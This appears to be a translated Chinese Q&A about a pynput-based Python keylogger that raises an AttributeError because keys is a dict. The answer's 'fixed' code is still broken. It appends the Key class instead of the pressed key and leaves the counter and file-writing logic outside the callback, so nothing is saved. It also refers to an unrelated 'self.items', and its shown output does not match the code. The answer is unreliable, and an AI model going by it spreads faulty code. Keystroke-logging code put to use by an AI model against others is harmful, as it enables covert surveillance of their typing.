dict 对象在 Python 键记录器中没有属性追加错误消息

Question

当尝试运行我的 Python 键盘记录器脚本时，我收到以下错误消息：

  File "C:/Users/PycharmProjects/untitled2/keylogertake3", line 9, in on_press
    keys.append(Key)
AttributeError: 'dict' object has no attribute 'append'  

Process finished with exit code 1

代码：

import pynput
from pynput.keyboard import Key, Listener
count = 0
keys = {}

def on_press(key):
    global keys, count

    keys.append(Key)
    count += 1
    print("({0} pressed".format(key))

if count >= 10:
    count = 0
    write_file(keys)
    keys={}
def write_file(keys):
  with open ("keyloger.txt","a")as f:
    for key in keys:
     f.write(str(key))

with Listener(on_press=on_press)as listener:
    listener.join()

此代码块中有许多错误。

keys = {} 将 keys 初始化为空字典。字典没有 append() 方法，因为它的主要目的是将键与值相关联。在原始代码中的两个地方发现了这条不正确的行。

要将 self.items 初始化为空列表，请将分配修改为：

keys = []

除此错误外，还有几行缩进不正确。

修改后的代码如下

import pynput
from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(Key)
    count += 1
    print("\n"+"{0} pressed".format(key))

if count >= 10:
    count = 0
    write_file(keys)
    keys = []

def write_file(keys):
    with open ("keyloger.txt","a") as f:
        for key in keys:
            f.write(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

输出：

'a' pressed
a
'b' pressed
b
'c' pressed
c
